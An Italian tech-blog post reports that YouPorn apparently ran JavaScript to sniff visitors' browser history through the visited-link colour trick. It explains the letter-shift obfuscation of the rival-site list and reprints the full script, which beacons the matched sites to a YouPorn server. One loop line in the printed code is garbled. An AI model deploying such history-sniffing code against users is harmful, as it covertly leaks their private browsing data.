YouPorn spia la cronologia del browser

YouPorn spia la cronologia del browser

Quello che vedete qui sopra non è un pezzo di codice Javascript scritto da un programmatore ubriaco, ma una parte del modo studiato da quelli assoldati da YouPorn per spiare la cronologia del browser del visitatore di turno. Il tutto adottando un espediente che potremmo definire imbarazzante tanto quanto il fatto che venga utilizzato per andare a sfruttare una debolezza nel funzionamento dei browser più comuni, per ottenere informazioni sulla cronologia in modo fraudolento e completamente trasparente agli occhi di chi è davanti al PC, almeno fino a oggi.

L'idea di chi ha scritto il Javascript in questione è stata sostanzialmente quella di sfruttare il modo in cui i browser visualizzano i link già visitati, assegnando cioè loro un colore diverso da quelli che invece non sono all'interno della cronologia: per intenderci, il solito color porpora rispetto al classico blu. Ma in questo caso non finisce qui, anzi il bello deve ancora venire, perché YouPorn ha avuto anche la brillante idea di andare a nascondere l'invasione della privacy dei suoi visitatori "crittando" questo algoritmo, anche se usare tale parola costituisce di sicuro un abuso di proporzioni siderali.

Anche in questo caso la cosa migliore è l'esempio pratico: tornando alla lista di inizio post, prendete come esempio l'apparentemente privo di significato "qpsoivc/dpn": basta poco per scoprire che a YouPorn interessa sapere se prima di approdare sulle sue sponde abbiamo già visitato "pornhub.com". In che modo? Semplicemente andando a sostituire a ogni lettera quella a essa precedente nell'alfabeto. È così che "uvcf9/dpn" diventa "tube8.com", e così via. Da vero e proprio genio del male, o no?

Dopo il break, per i più curiosi, il codice completo.

Via | Forbes | Techdirt


function ypol(){var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",
2:"bevmugsjfoegjoefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",
5:"yoyy/dpn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",
8:"yibntufs/dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",
11:"csb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",
14:"gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dpn",
17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nbyqpso/dpn",
20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsopsbnb/dpn"};
var g=[];for(var m in k){var d=k[m];
var a="";for(var f=0;f{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;
for(var j in {"https://":"","https://www.":""})
{var l=document.createElement("a");
l.href=j+a;document.getElementById("ol").appendChild(l);
var e="";if(navigator.appName.indexOf("Microsoft")!=-1){e=l.currentStyle.color}
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue("color")}
if(e=="rgb(12, 34, 56)"||e=="rgb(12,34,56)"){h=true}}if(h){g.push(m)}}
var b=(g instanceof Array)?g.join(","):"";var c=document.createElement("img");
c.src="https://ol.youporn.com/blank.gif?id="+b;document.getElementById("ol").appendChild(c)}ypol();

  • shares
  • Mail
15 commenti Aggiorna
Ordina: